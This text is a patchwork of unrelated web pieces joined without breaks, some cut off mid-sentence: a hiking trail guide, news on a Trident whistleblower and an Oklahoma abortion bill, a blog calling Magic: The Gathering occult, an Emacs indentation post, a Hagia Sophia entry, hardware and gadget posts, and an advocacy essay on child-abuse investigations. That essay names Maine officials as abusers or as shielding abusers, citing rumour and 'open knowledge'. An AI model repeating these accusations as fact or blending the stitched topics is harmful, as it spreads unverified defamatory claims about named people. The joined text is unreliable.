Afterward, back on the Penns Hill trail, we worked our way through some beautiful swampy areas, including my favorite – cedars. We crossed one bridge, then, just before the second bridge, hit the trailhead for the Conrad Trail. While I’m not sure the exact distance, I’d say this was a bit more than a 1/4 mile between the start of the white trail and the trailhead of the blue trail. We turned right to take the blue Conrad Trail.
Right at the beginning, the Conrad Trail was a little muddy, requiring me to scoop up Tree Rider and put him in the pack. He was okay with this, because he can see better from up high.
The Conrad Trail loops through some wet areas, over some boardwalks, and through a tiny patch of mud (the only we encountered on the trails this day despite a week of solid rain).
After crossing one more long walkway, the trail then emerges into the standard, but beautiful, pine barrens “lots of pine trees everywhere” terrain.
Finally, you emerge into the big field across from the visitor’s center, completing the Conrad (Blue) Trail.
We were still full of energy after this first hike, so we decided to take another hike on the…
Cold Brook Trail (aka Shrub Id Trail. Aka Pink Trail) – 0.70 miles
To get to this trail, take the White/Green/Yellow to the left (if you are facing the lake with the Visitor’s Center at your back). Walk just a short distance (make a tenth of a mile), and the pink trail will be on your left.
This trail is labeled as a shrub ID trail on the map, but we didn’t think to ask for a paper to tell us what the numbered signs along the way were depicting. Might be a good idea for this one.
Anyway, it sets off down what was obviously a road, with all the excitement that comes from walking down a road where you can still see the visitors center most of the time. Hang in there, it will get better.
When you hit the large pile of wood, the trail will head off to the right into the woods.
The trail immediately gets a lot more trail like. You’ll head through a nice patch of woods, go downhill slightly, and head to the edge of a swamp.
Unlike the other trails, this one just skirts the swamp at its edge, but it’s still a lovely bit of scenery. The trail will go along the edge of the swamp, then head back up a very slight hill.
The trail a few turns, then you’ll emerge back onto the Yellow/Green Trail, which is more or less a road at this point.
Turn right and you’ll be heading the short distance to the visitor’s center.
Other things in the park:
Don’t miss the view of the lake from the dam near the start of the Cold Brook Trail, just a short distance from the Visitor’s Center.
The Visitor’s Center/Nature Center also has some awesome stuff to see –
Nearby – I’ve been dying to this for over a decade, and just never have, but the legendary Albert Music Hall is in Waretown. Folk, country, and pinelands music every Saturday night since 1974. Come watch, or bring your own instrument and join the folks in the pickin’ shed.
Boy Scout Note – Scouts, this trail system connects with the trail system of Jersey Shore Council’s Joseph A Citta Scout Reservation.The Royal Navy confirmed on Tuesday that 25-year-old William McNeilly had earlier been detained.
"We can confirm that Able Seaman McNeilly was apprehended last night and is now in the custody of the Royal Navy Police at a military establishment in Scotland where he is being afforded the duty of care that we give to all our people," a navy spokeswoman said.
The serviceman is understood to have handed himself in, having earlier indicated to British media that he would do so.
McNeilly went absent without leave last week after releasing an 18-page report online, including via the WikiLeaks website, in which he described his concerns about the security procedures at the Trident base at Faslane, near Scotland's most populous city Glasgow.
"If airport security and Nuclear weapon security were both compared to prisons, the airport would be Alcatraz and Base security would be house arrest," he wrote.
He alleged many safety and security flaws including fire risks and leaks on board, as well as top secret information being left unguarded and instances where the program could be infiltrated by terrorists, calling Trident "a disaster waiting to happen."
The Royal Navy was continuing to investigate, the spokeswoman said.
"The Royal Navy disagrees with McNeilly's subjective and unsubstantiated personal views but we take the operation of our submarines and the safety of our personnel extremely seriously and so continue to fully investigate the circumstances of this issue."
Watch video 05:18 Share GB/Scotland: The Trouble with Trident Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/1FHpc UK and Scotland's trouble with Trident
An online petition initiated by the Scottish wing of the Campaign for Nuclear Disarmament called on British Prime Minister David Cameron to pardon the "Trident whistleblower," saying McNeilly should be commended for exposing "poor safety standards on nuclear submarines." The document had gained more than 3,600 supporters by Tuesday evening.
Trident, Britain's current submarine nuclear missile-based weapons system, is reaching the end of its intended shelf life. Whether to renew it, at the cost of billions of pounds, was one of the key topics debated in the lead-up to this month's British general election - although most major parties held highly comparable stances on the program.
Prime Minister David Cameron's Conservatives party, which forms a majority government, was in favor of replacing Trident's four submarines. Main rivals Labour had the same policy, as did UKIP, while the Liberal Democrats favored only a slight reduction to three submarines.
However, the Scottish National Party, which won all but three of the 59 Scottish seats in the UK Parliament at Westminster, and plays host to the UK's nuclear deterrent, is firmly opposed to the project.
se/msh (AP, AFP, Reuters)According to a widely-read evangelical publication, an Oklahoma Senator introduced an unprecedented piece of legislation that would not only ban abortion, but criminalize it as first-degree murder as well.
Christian News is reporting that Republican State Senator Joe Silk introduced the new bill, dubbed S.B. 1118, which ads “killing an unborn child to existing murder statutes.”
“No person shall perform or induce or attempt to perform or induce an abortion after conception,” The bill reads. “A person commits murder in the first degree when that person performs an abortion as defined by Section 1-745.5 of Title 63 of the Oklahoma Statutes.”
The bill stipulates that abortion is “the use or prescription of any instrument, medicine, drug or any other substance or device to intentionally kill an unborn human being” and gives protection to the “unborn” from the moment of conception.
A petition was signed by over 30,000 residents in Oklahoma which called lawmakers to present legislation that would result in a complete end to abortion in the state.
The petition:
“[We] hereby respectfully demand that our state government stop protecting the murder of children by abortion within its jurisdiction and establish justice for all pre-born human beings in our state,” the petition reads in part. “We demand that our legislators stop passing laws to regulate abortion and instead outlaw all abortion as murder. ” “We demand that these changes be made now—not five, ten or fifteen years down the road,” it continues. “In short, we the people of the state of Oklahoma demand the total and immediate abolition of human abortion as the legal, constitutional and moral duty of our elected and appointed officials.”
Christian News says that the petition was circulated by the Abolitionist Society of Norman and hundreds of supporters across the country who traveled to Oklahoma to help obtain signatures.
“This bill aims to protect all children from destruction in Oklahoma, and bring Oklahoma law into compliance with the United States Constitution,” Abolitionist Society of Norman said in a press release. “This bill unabashedly defies the Supreme Court’s perversion and denunciation of the constitutional right to life, and seeks to establish justice for those being deprived of life without due process of law.”A woman wrote to our ministry recently to ask for advice about a family member who was very much into the game, Magic: The Gathering.
I would shut down the playing of this game as soon as possible. As you’ll read later in this post, it has caused problems in children who just want to have fun and don’t realize how harmful it can be to play a game that requires you to play the role of a sorcerer who uses magic powers to slay your enemies. Let’s face it, children receive their first indoctrination into the occult through games such as this, Ouija boards, and ther occult-based video and card games. So it can never be harmless to let kids play with these games.
Thanks to the excellent research of Marcia Montenegro and her blog, Christian Answers to the New Age (one of my favorite sources for information about the occult and New Age), I can report that this game was created in 1993 by a mathematician and Dungeons and Dragons enthusiast named Richard Garfield. Sold by Wizards of the Coast, it is a trading card game using cards that are linked to five different kinds of magic (as in sorcery, not tricks) which are labeled as “red, blue, green, white or black.” Players, who represent sorcerers, use the cards to destroy their opponent before their opponent destroys them, mostly through the use of spells, enchantments and fantasy creatures such as Chaos, Orb, Bad Moon and Animate Dead.
“Like Dungeons & Dragons, the famed role-playing game, Magic is a challenging game that calls for intricate strategy and shrewd plays,” Montenegro writes. “However, that strategy is worked out within the dark context of the occult.”
She goes on to posit another type of game – called Pusher – in which players pretend to be dealers rather than sorcerers. “Each player is a drug dealer trying to win by selling the most drugs and getting rid of the competition. The game could be made complex by introducing challenges from the law, prison, gangs, impure products, etc. So, how comfortable would you be playing Pusher? Would the message against drugs and the role of pretending to sell drugs seem hypocritical to you? Sorcery is no less dangerous and no more moral than drugs; in fact, there is a long-time connection between the two.”
The fact that this game has caused problems in children is well documented. In this blog, I document the case of a suit against the Pound Ridge Elementary School in Pound Ridge, NY in 1995 in which teachers were using the game in their math class. Parents found out about it when their children began to have nightmares about the game. They ended up having to sue to put a stop to it (and other occult-based “learning tools” the teachers were using.)
Remember, both the Bible (Deuteronomy 18) and the Catechism (No. 2117) explicitly condemn sorcery, calling those who practice it “an abomination” to the Lord.
I can only wonder why on earth anyone would want to “pretend” to be someone that God has labeled an “abomination”?November 2009
L ON GW A VE AN AL YST
ECONOMIC AND FIN ANCIAL ANA LYSIS BASED ON THE LONGW AVE PRINCIPLE
DOW 1,000 IS NOT A SILLY NUMBER
Nobody wants to hear bad news, let alone believe it, even if it’s
true. So when a virtually unknown nancial and economic histo
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rian, such as myself, suggests a seemingly outrageous Dow target of 1,000, it is essentially dismissed as a prognostication of a ‘know nothing crank’. And everyone continues to buy stocks for the long term - isn’t that what the experts are telling them to do? These experts displayed in the business sections of newspapers and magazines and on the main business channels must be ex
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perts; after all, many of them work for the big banks and if the banks don’t know money, who does? Aren’t they entrusted with investing millions if not billions of customers’ money? They must know. “...We compulsively associate unusual intelligence with leadership of the great nancial institutions the large banking, in
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vestment-banking, insurance, and brokerage houses. The larger the capital assets and income ow controlled, the deeper the pre
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sumed nancial, economic, and social perception.” Galbraith, P. 15 Investment managers must be bullish; they want investors’ money because a major part of their income is based on the amount of money that they manage. They won’t get that money if they are bearish. As for the media, it can’t countenance bears. They want to see the perpetuation of the stock bull market since it holds read
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er’s and viewer’s interest. It gets them to buy the newspapers and magazines devoted to investing and gets them to turn to the TV channels that constantly repeat the bullish spin. Bears are bad for
business.
Nobody likes a bear. Most people have too much money invested in stocks. They can’t afford to lose money and they don’t like peo
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ple telling them that they are going to lose. They are linked together in a common interest. As such, they form part of a crowd and are governed by a collective psychology that is essentially irrational. “From the moment they form part of a crowd the learned man and the ignoramus are equally incapable of observation.” Le Bon, P.
23.
The investment crowd refuses to listen to anyone who tries to temper its ardour for the stock market. “An individual may accept contradiction and discussion; a crowd will never do so. At public meetings the slightest contradiction on the part of an orator is im
-The Trump administration has not typically put a premium on transparency or fealty to empirical fact. So it was somewhat puzzling when the Department of Energy released its long-awaited study of power grid reliability in August and it looked... mostly normal.
By all accounts, DOE’s experts were allowed to work on it unimpeded. Its conclusions lined up with the broad consensus in the energy field: The loss of coal plants has not diminished grid reliability; in fact, the grid is more reliable than ever. Reliability can be improved further through smart planning and a portfolio of flexible resources. Regulators should work on ways to better compensate reliability in competitive energy markets.
The summary bits of the report added a bit of political spin, but the analytic work and core conclusions were solid — and very much not in line with the administration’s position, which is that reliability is immediately threatened and coal and nuclear plants are necessary to preserve it.
Where, wondered the more cynical observers [waves], was the hackery? Where was the political interference to prop up a favored industry, the blithe disregard of expert knowledge? This is not the Trump administration we’ve come to know and... know.
Well, it turns out, we just needed a little patience. The hackery has landed. Repeat: The hackery has landed.
Unfortunately, the hackery comes obscured by a thick cloak of acronyms — it’s an NOPR from DOE about ISOs that contradicts NERC, FFS — so it takes a little unpacking.
Here’s the short summary: Perry wants utilities to pay coal and nuclear power plants |
.”
Brzezinski tweeted a response of her own.One thing I don’t understand is what is useful about electric indentation. This is when entering a special character such as a single or double quote or a semi-colon will automatically cause the current line to be re-indented.
I configure my programming modes to do an automatic indentation when I press the return key. For example, in my cc-config.el file I have this line.
(define-key c-mode-base-map (kbd "RET" ) 'newline-and-indent)
A Small Criticism of Yegge’s Javascript Mode
Steve Yegge’s javascript mode has a particularly unfortunate interaction with electric indentation. He wrote:
[Automatic indentation] turns out to be, oh, about fifty times harder than incremental parsing. Surprise! … I put a few tweaks into Karl’s original indenter code to handle JavaScript 1.7 situations such as array comprehensions, and then wrote a "bounce indenter" that cycles among N precomputed indentation points. … This moved the accuracy, at least for my own JavaScript editing, from 90% accurate with Karl’s mode up to 99.x% accurate, assuming you’re willing to hit TAB multiple times for certain syntactic contexts.
So, how does this interact with electric indentation? Pretty badly. Consider if you have the following line and the default indentation isn’t what you want.
if (...) { var x = "some string" ; }
When you begin to enter your line, you tab it into your prefered location, then when you enter the quote for the beginning of the string, it resets the position back to the wrong place. No problem, you fix it again but then it breaks once again when you enter the closing quote. Suppressing your rising fury, you make the mistake of retabbing it for a third time then the semicolon at the end of the line causes another reindent and almost guarantees that you throw your PC through the window.
But, is it fixable? Well, Yegge did include a flag called js2-auto-indent-flag but unfortunately it has to be set before the code is loaded otherwise the definition of the electric keys has already been trashed.
(defvar js2-mode-map (let ((map (make-sparse-keymap)) keys)... (when js2-auto-indent-flag (mapc (lambda (key) (define-key map key #'js2-insert-and-indent)) js2-electric-keys ))...
The default definition of js2-insert-and-indent doesn’t check this flag so I modified my copy to enable me to change the behaviour at runtime.
(defun js2-insert-and-indent (key) "Run command bound to key and indent current line. Runs the command bound to KEY in the global keymap and indents the current line." (interactive (list (this-command-keys))) (let ((cmd (lookup-key (current-global-map) key))) (if (commandp cmd) (call-interactively cmd))) ;; don't do the electric keys inside comments or strings, ;; and don't do bounce-indent with them. (let ((parse-state (parse-partial-sexp (point-min) (point))) (js2-bounce-indent-flag (js2-code-at-bol-p))) (unless (or (not js2-auto-indent-flag) (nth 3 parse-state) (nth 4 parse-state)) (indent-according-to-mode))))
This is the diff:
9901c9901,9902 < (unless (or (not js2-auto-indent-flag) --- > (unless (or (nth 3 parse-state) > (nth 4 parse-state))
So, back to the initial question: Does anyone use/like electric indentation and if so, how do you get around the problem described above (and why is auto-indent on carriage return not sufficient)?The Hagia Sophia (Greek: Ἁγία Σοφία, Holy Wisdom) in Thessaloniki, Greece, is one of the oldest churches in that city still standing today. It is one of several monuments in Thessaloniki included as a World Heritage Site on the UNESCO list.
History [ edit ]
Since the 3rd century, there was a church in the location of the current Hagia Sophia. In the 8th century, the present structure was erected, based on the Hagia Sophia in Constantinople (present-day Istanbul, Turkey). In 1205, when the Fourth Crusade captured the city, the Hagia Sophia was converted into the cathedral of Thessaloniki, which it remained after the city was returned to the Byzantine Empire in 1246. After the capture of Thessaloniki by the Ottoman Sultan Murad II on 29 March 1430, the church was converted into a mosque.[1] It was reconverted to a church upon the liberation of Thessaloniki in 1912.
Its ground plan is that of a domed Greek cross basilica. Together with the Gül and the Kalenderhane Mosques in Istanbul and the destroyed Church of the Dormition in Nicaea, it represents one of the main architectural examples of this type, typical of the Byzantine middle period.[2]
In the Iconoclastic era, the apse of the church was embellished with plain gold mosaics with only one great cross, similarly to the Hagia Irene in Constantinople and the Church of the Dormition in Nicaea. The cross was substituted with the image of the Theotokos (God-bearer, or Mary) in 787-797 after the victory of the Iconodules. The mosaic in the dome now represents the Ascension with the inscription from Acts 1:11 "Ye men of Galilee, why stand ye gazing up into heaven?". The dome is ringed by the figures of all Twelve Apostles, Mary and two angels.
Between 1907 and 1909 byzantine historian Charles Diehl restorated the whole building that underwent many damages during a fire in 1890. Much of the interior decoration was plastered over after the Great Thessaloniki Fire of 1917. The dome was not restored until 1980.[3]
Gallery [ edit ]
See also [ edit ]
References [ edit ]
Bibliography [ edit ]Investigating The Trade in Child Rape
Lori Handrahan Blocked Unblock Follow Following Feb 24, 2015
Scope of the Crime
There is a global child rape and torture crisis, otherwise known as child pornography, traded electronically in images, videos and live-streaming on the internet and cellular phone networks.
America now produces an estimated half of the world’s child pornography. Of all the global internet servers hosting child sexual abuse websites, nearly half are located in the United States. An estimated 50,000 Americans, at any given time, are trading child sex abuse images/videos.
In 2012 child sex trafficking became America’s fastest growing crime, expanding by 150% per year. The Department of Justice reports a pedophile can earn up to $1,000 per night molesting a child via a web camera. One investigator says the child porn industry is “very tempting” with lots of “sales to be made.” A picture can sell for $25, a video for $300. Monthly child porn subscriptions average $100 per month.
The global child porn industry may be yielding $20 billion to $50 billion per year. One estimate is that every second there are 750,000 pedophiles on-line globally. Germany, for example, has estimated some 250,000 Germans spent $27 billion on child sex abuse images/videos in 2013. That is Germany alone in one year.
Human sex trafficking is organized crime’s fastest growing business and is estimated as, at least, the third-largest criminal enterprise worldwide. Globally, an estimated 1.2 million children are trafficked for sexual abuse and exploitation every year. Says one expert, “the market is huge. And the operators of these forums will stop at nothing to keep their business running.” With this kind of easy profit, child porn is rapidly overtaking drugs as organized crime’s preferred money-maker.
Government officials, including, judges, military officers and police, often with substantial authority, have been identified as both consumers and producers in the illegal child porn industry.
Canadian Investigations
Canadian investigators have recently changed tactics in how they investigate the trade in child sex abuse, now “going after companies that host the online files and profit from the data sharing.”
Ontario Provincial Police (OPP)’s Deputy Commissioner Scott Tod said, “Our goal... is actually to look at the money behind the organization. Who made decisions so that profits could be made in a criminal manner? Where do they reside? And who are they?”
Isn’t this what investigators have been doing all along? Surprisingly, no.
Standard operating procedure (SOP) for child porn investigations, at least in America and Canada, have been investigators trolling known on-line child porn trading venues, posing as pedophiles, and catching the criminal in this random net-casting strategy.
Image throwing a net into a spring salmon run, mid-stream, and pulling out whatever you catch. So dense is the on-line trade in child sex abuse, the volume so rapid, pedophiles know that the chances of being caught are very small. Pedophiles also know that investigators have not structured their investigations in a systematic manner that targets the source, the kingpins, the leaders of this highly lucrative organized crime.
Bruce Campion-Smith, a journalist in Ottawa, Canada detailed the change in child porn investigations in Canada quoting Deputy Commissioner Scott Tod, “Rather than the peer-to-peer, one-to-one, we now want to look at... how do corporations actually profit and benefit from trading in child sexual exploitation… …This is the first investigation of the scale in my knowledge in North America, if not worldwide.”
In this manner, Canadian investigators found a file service owned by several web hosting companies and seized 1,250 terabytes of data. The estimated profits, in this investigation, were $18 million in just three months. The investigation revealed 2,200 IP addresses in the United States, 843 in Germany, 534 in Japan, 457 in Russia and 394 in Canada.
Let me repeat this fundamental fact: of all the global internet servers hosting child sexual abuse websites, nearly half are located in the United States. Why haven’t US investigators targeted these servers? Why has the US government allowed these servers to operate in America?
Prosecutorial Discretion
Like Canada, procedures also need to change in how child porn is investigated and prosecuted in America. The burden of change falls most heavily on corrupt prosecutors. Law enforcement investigators often express their frustrations to me that they will spend hours, weeks, months on a child porn investigation only to have it blocked by the prosecutors.
Why? Prosecutorial discretion — the two dirtiest words in the American legal system.
In 2014 The New York Times editorial board called prosecutorial misconduct “rampant” in America and that was a gross understatement. Prosecutors are not legally obliged to prosecute crimes. Prosecutors can pick and choose which crimes they wish to prosecute and which they do not. Stunning isn’t it? Can you image emergency room doctors choosing which patients are operate on versus who gets left to bleed out on the floor?
This is what prosecutors across America do every day. The poor get prosecuted and the rich play golf, drink, sail, and party with their favorite local and federal prosecutor who simply decline to prosecute his/her rich friend’s crimes if some hard-nose investigator ever dares to investigate.
In terms of child porn/child sex abuse investigations, this means that wealthy business men, lawyers, politicians, judges, lawyers, and prosecutors themselves are enjoying near total impunity. Prosecutorial discretion has given a green light to the richest, most powerful pedophiles in America to engage, at will, in the trade in child rape and torture.
How to Investigate Child Porn 101
Based on extensive discussions with law enforcement and prosecutors, at the state and federal level, across America, here are some ideas about the changes needed to better fight, prevent and halt the crime.
Servers located in America that host, store and distribute child porn must be investigated, shut-down, and the owners must be prosecuted. That this is not yet happening in America is gob-smacking. Target the top, not the low-hanging fruit. Period. This should be a top priority. Investigators need to conduct targeted investigation of known supply-side sources to which pedophiles flock. For example, the amount of child porn produced in day cares, preschools and baby-sitters is significant enough for investigators to start requesting search warrants to randomly search any and all day care, preschools and baby-sitting services IP address and cell phone networks for child porn production and distribution. Judges need to issue search warrants for these investigations. State licensing agencies should require legal consent to submit to random child porn investigations as a component of all licenses granted to day care, preschool and baby-sitting services. The amount of military and police, both local and federal, arrested for trade in child sex abuse is staggering. All military and law enforcement personnel must be required to submit to random child porn search, just like random drug tests, on their IP networks, phones, hard-drives, etc. Federal and state law enforcement should police each other outside of their areas of influence. For example, an Internet Crimes Against Children (ICAC) investigator in Texas should be able to get a search warrant for a police department in Maine. This would eliminate the roadblocking “code of silence” within corrupt police forces when good cops are prevented from investigating and exposing crimes they are often aware their own colleagues are committing against children. All state and federal employees should be required to sign a Code of Conduct where they acknowledge that trading in child sex abuse is a crime and they pledge to refrain from doing so, to report anyone they are aware may be engaged in child porn on government computers and agree to random searches of their phones, laptops, hard-drives, thumb-drives, etc, for child porn. All state and federal employees must be randomly searched for child porn on a regular basis. Full stop. State and federal government agency servers and IP addresses must be routinely searched. State and federal government agencies must implement software that blocks porn and child porn from being downloaded on government computers. When investigators encounter prosecutorial discretion, they must be able to network with other prosecutors and investigators outside their physical jurisdiction to do an end-run around a corrupt local or federal prosecutors who may be involved in the trade of child porn themselves. Likewise, when a prosecutor encounters an investigator unwilling to investigate, that prosecutor must reach out to law enforcement outside the physical jurisdiction and receive investigative assistance and do an end-run around a local or federal investigators who may be involved in the trade of child porn. The trade in child rape and torture, aka child pornography, knows no physical, geographic boundaries. It is not a traditional crime that occurs in one single physical location for which law enforcement and prosecutors have “legal” jurisdiction. It is crime that explodes all over the world via electronic networks the instant the rape of a child is posted on-line or sent over cell phone networks. Child porn must no longer be investigated and prosecuted as a traditional crime based on traditional legal jurisdictions.
Maine: Governor LePage & Attorney General Janet Mills
On 20 February 2015, Maine’s Governor, Paul LePage, issued an Executive Order prohibiting Maine state employees from accessing pornographic or sexually explicit material on both state computers or devices even when they were off-duty on personal time.
To my knowledge, it is the first executive order of its kind and Governor LePage is to be congratulated. It is highly likely Governor LePage issued this executive order, in part, out of frustration for prosecutorial discretion and misconduct in Maine, which is extensive.
Governor LePage (R) has been waging a public battle with Maine’s AG, Janet Mills (D). Maine is the only state in the country where the attorney general is neither elected by the general population nor appointed by the governor. In Maine, the AG is elected, solely, by the state representatives. This is a huge problem in that it enables and protects massive state-level corruption among state legislatures who are protected against prosecution for their crimes under “prosecutorial discretion” by the AG they elected to office.
The structure is essentially a legalized protection racket for Maine politicians. It is a structure that has been working very well for Maine Democrats who have controlled Maine politics, more or less, for the past three or four decades.
However, in 2011, in a protest vote, Mainers elected Republicans across the state, including Governor Paul LePage. Janet Mills lost her position as AG because the state legislature went Republican. Bill Schneider was voted in as attorney general. In 2013 the state legislature returned to a Democratic majority and voted in, again, Janet Mills to be attorney general. The war between Mills and LePage began.
I must note, I have a personal connection to Janet Mills. Not only did she grow up in my very small, rural home town of Farmington, Maine, where my father was a history professor at the University of Maine (UMF) and a very active member of the Democratic Party, but Janet’s mother, Kay Mills, was one of my favorite teachers at Mt. Blue High School. Kay Mills was absolutely wonderful. I do not what happened to her daughter.
In addition to a childhood connection with both Janet Mills and her mother, later, in my adult life, it was Janet Mills, in her capacity as attorney general in 2009, who made the trafficking and abuse of my daughter possible. In December of 2009 Janet Mills, as AG, ordered DHHS senior officials to cancel meetings around the confirmed sex abuse of my then two year old daughter with both me and my attorney Bill Harwood of Verrill Dana law firm in Portland, Maine.
Janet Mills, as AG, then, I have been told, engaged in a prolonged email argument with Bonnie Titcomb Lewis, a former Maine state Democratic Party heavy-weight, and Lucky Hollander, a senior DHHS employee about my daughter’s rape and abuse and defended her actions to halt Child Protection from protecting my daughter. Janet Mills is alleged to have said, in writing, that Child Protection was to “take no action to protect this child no matter what happened because “a judge was going to handle this one.”
Talk about prosecutorial discretion and misconduct.
Janet Mills’ actions constitute extremely serious obstruction of justice. Imagine. An AG who not only refuses to prosecute child sex abuse but also intervenes in a child protection investigation for the confirmed rape of a two year old girl by her father, taking action to protect the rapist and not the child?
Janet Mills should be behind bars, not re-elected by Maine state Democratic politicians to the AG’s office. But she was. Party politics above all else. Right?
Governor LePage is very well aware of the details of my daughter’s case and Janet Mills’ role. It is likely actions like these by Janet Mills that have prompted Governor LePage to issue this recent executive order. Surely there are more children Janet Mills has, literally, helped to traffick into sex abuse. My daughter cannot be the only one.
Governor LePage is also well aware, as are most people in Maine, that child sex abuse by state employees has been protected by corrupt prosecutors and cops for far too long. AG Janet Mills is the top prosecutor refusing to prosecute. She is the boss of every District Attorney (DA) in the state. Public knowledge, even of many reports and rumors of institutional child sex abuse, is useless when prosecutorial discretion is invoked.
Next Steps for Governor LePage
Governor Paul LePage does not have the power of prosecution. He does have the power of Executive Order over his Executive Branch. His executive order is a powerful first step. But it is only a first step.
Now, investigations and prosecutions of all Maine state employees trading in child sex abuse on government computers must follow. Swiftly. How will Governor LePage accomplish this if the top prosecutor in the state is protecting child rapists and enabling the trafficking children like my daughter?
First, Governor LePage will need the assistance of good, clean federal investigators outside of Maine and outside of New England. It’s now public knowledge that the Boston FBI protected and enabled Whitey Bulger for decades. Maine does not have a real FBI office. Maine’s FBI is only a remote outpost for Boston. Boston calls the shots in Maine, still, even though Maine separated from Massachusetts in 1820.
Second, Governor LePage will need to request that trusted, clean, federal law enforcement in Washington, D.C. investigate Maine state computer servers and IP addresses for child sex abuse images/videos, etc.
Third, a Triage List must be composed of which state agencies are investigated and prosecuted.
Triage in Maine
First, on the triage list for outside federal investigation must be every prosecutor in Janet Mills office, including Mills herself, and every District Attorney and their staff. All Maine judges and court staff should also be included.
Second, all Department of Health and Human Service (DHHS) employees, particularly those working in Child Protection, be investigated immediately. It is widely rumored former Child Protection Director Dan Despard, fired over his role in my daughter’s case but not yet investigated and prosecuted, is, and has been, key in Maine’s child sex abuse ring.
In 2001, Senior Child Protection staffer Cynthia Wellman claimed University of Maine Orono (UMO) professors were sexually abusing children, along with Child Protection Staff, on UMO’s campus. Maine’s prosecutors refused to prosecute and law enforcement refused to open a criminal investigation. It is suspected that Dan Despard was one of the Maine state employees Cynthia Wellman named. He needs to be investigated.
Third, every single Maine state employed law enforcement official must be investigated, starting with Lt. Glenn Lang, Maine Computer Crimes Director. Again, it is common public rumor in Maine that local and state police have been running a child sex abuse ring for a long time now. Cole Farms and former Maine State Police Chief Demers are only the bits of the slip that escaped under the skirt. Multiple sources have told me it is “open knowledge” that South Portland’s former Police Chief Robert Schwartz “was raping little boys in the woods for decades.” Schwartz is now Executive Director of Maine Police Chief Association. These rumors must be investigated.
Lighthouses & Lobster Rolls
Maine is not all lighthouses and lobster rolls. Maine is a key supplier (thanks to a legalized structure of corruption and an abdication of key checks and balances fundamental to a rule of law) of children to abuse for the national and global child sex abuse industry.
Prosecutorial discretion is a dirty term in America’s broken legal system. In Maine the phrase takes on even darker connotations — prosecutorial discretion and misconduct centers on the trade in child rape and torture on the internet and cell phones, otherwise known as child porn.
My daughter and I are victims of this crime. Maine’s top prosecutor, Janet Mills, is directly responsible. God willing, Governor LePage has just issued a shot across the bow to Maine state employees engaged in the trade in child sex abuse. If he is able to take appropriate next steps to give his executive order teeth, this could be a game-changer in the history of Maine and in the lives of many children who are being raped and destroyed each and every day in Maine.
Changing the way child porn is investigated and prosecuted is an urgent need, as the Canadians have identified. Perhaps Governor LePage’s new executive order will trigger the start of a much-needed shift in American policy and procedure regarding the crime of government employees trading in child rape and torture, aka child pornography.
As goes Maine, so goes the nation. We hope and pray.
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Dr. Lori Handrahan’s forthcoming book Child Porn Nation: America’s Hidden National Security Risk details America’s child sex abuse epidemic. Her Ph.D. is from The London School of Economics. She can be reached on Twitter @LoriHandrahan2How many times have you been putting a case together, only to discover that one or two major power cables are just a tad bit short? Or, for that matter, you love a certain PSU but hate how the cables look?
In my case, I managed to buy an “oops” from eBay that needed a little love; it was a 900W mATX unit with short cables. This PSU was a total loss for a standard case, but I wanted to use it in an NZXT Hades chassis anyhow. That’s where NZXT’s premium sleeved power supply extenders come in.
Out of the bag
As I removed the cables from their packaging, I couldn’t help but marvel at their quality; all the shrink wrap was even, uniform, and positioned well. To put it another way, I no longer fear that these products are merely the result of a company jumping haphazardly on a trend to make money.
There was, however, a wee bit of disappointment: NZXT only offers three colors (two, if you don’t count black) and not every available cable can be had in those colors. On the other hand, NZXT does offer a cable for virtually every imaginable need.
Moving on to wiring the chassis, I initially planned to divide the cabling between system power in red and data power in white, but that left me in a lurch with the front panel, as those cables only come in black. Color issues aside, the front panel cables are well-designed and well-marked, just like the other premium cables.
Installation
As I began wiring the NZXT Hades, my aim was to hide the majority of the power supply’s original cabling behind the motherboard tray. I started with the 24-pin EPS12V connector and the 8-pin 12V AUX connector.
You may notice from the pictures that the 8-pin AUX connector was too short, even with the NZXT extender, so I had to grab something from the parts bin.
From there, I moved to the hard drives with some white SATA power cables, which I consider to be a major disappointment. Rather than connecting to a SATA plug on the power supply, the NZXT extender attaches to a molex connector. I’m not certain if a SATA-to-SATA connector exists, but it would certainly be more efficient and make for cleaner wiring. As it is, one can easily use all of the available molex connectors on a power supply and still have empty SATA connectors.
To finish, I installed the remaining power cables for the GPU and the front panel. Because of the way I tidied up the wiring, a good portion of the white cables are sadly hidden.
Final thoughts
NZXT has a nice product that is not only incredibly useful, but priced well. NZXT has a habit of getting the Icrontic Stamp of Approval, and this is no exception.
Likes
Quality and Workmanship
An attractive alternative for making cables longer
A way for one that doesn’t have the time or inclination to add cable bling to his or her case.
Good value
DislikesA few months ago Thomas Bogner posted an iWatch mockup on Dribbble that looked like a marriage between a Nike Fuelband and an iPhone. It was an impressive concept that got a lot of people excited including myself. However, it had a major flaw: the orientation of the interface made it impossible to use.
I had some free time over the holidays so I decided to take a stab at the problem and create a more user friendly concept. I wanted to retain a slim form factor like the Fuelband and incorporate familiar UI components from iOS 7. It needed to feel natural on the wrist and look like something Apple would actually produce.
I started with a few sketches then worked my way towards a rough 3D mesh of the device. I kept the band simple with a curved touchscreen display on the front. For physical controls I placed a single button on the left to act as the home button, and two more on the other side for volume controls.
For the lock screen I designed a simple black & white interface displaying the time, date, and button to activate Siri. From here the possible actions are: tap to use Siri, swipe up to unlock, or pull down to view notifications. Sound familiar? While I was designing this I found myself pretending what it would be like to use swiping gestures on my wrist. Give it a try, it feels pretty good!
The springboard has four app icons vertically stacked with a page controller on the right. Swiping up or down moves between pages of apps. Pressing the home button takes you back to the lockscreen.
Next, I decided to design an actual use case — calling someone. In the animation below you can see how the Phone app could potentially work. One of the challenges I ran into was what to do about tabs. A normal tab view across the bottom wasn’t going to work so I came up with a simple drop down control in the title bar. Tapping this would display a popover menu showing the other available pages. I also purposely left out several of the controls like “Edit” and “Add Contact.” On a device this small I think it makes more sense to manage apps, contacts, and media from a synced iPhone or Mac.
Another concept I thought about was a heath & fitness app. Jawbone, Fitbit, and Nike have already proven the popularity of fitness wearables. I think it’s safe to say that the iWatch will include a similar set of features like sleep and activity tracking.
One last thing I considered was how the iWatch will get its data. My bet is that it will be tethered to the iPhone over Bluetooth, providing a data connection through your existing plan. I always have my iPhone close by except for when I’m running or surfing so relying on it for a connection wouldn’t be an issue. I’m sure there are plenty of people out there that would disagree but that’s a whole other discussion.
That’s all for now! If you enjoyed this post please share it with your friends on Twitter.By MetroNews Staff in WVU Sports | July 19, 2013 at 8:13PM
Charles LeClaire-USA TODAY Sports West Virginia defensive lineman Korey Harris (96) is apparently off the team after his arrest on first-degree armed robbery charges.
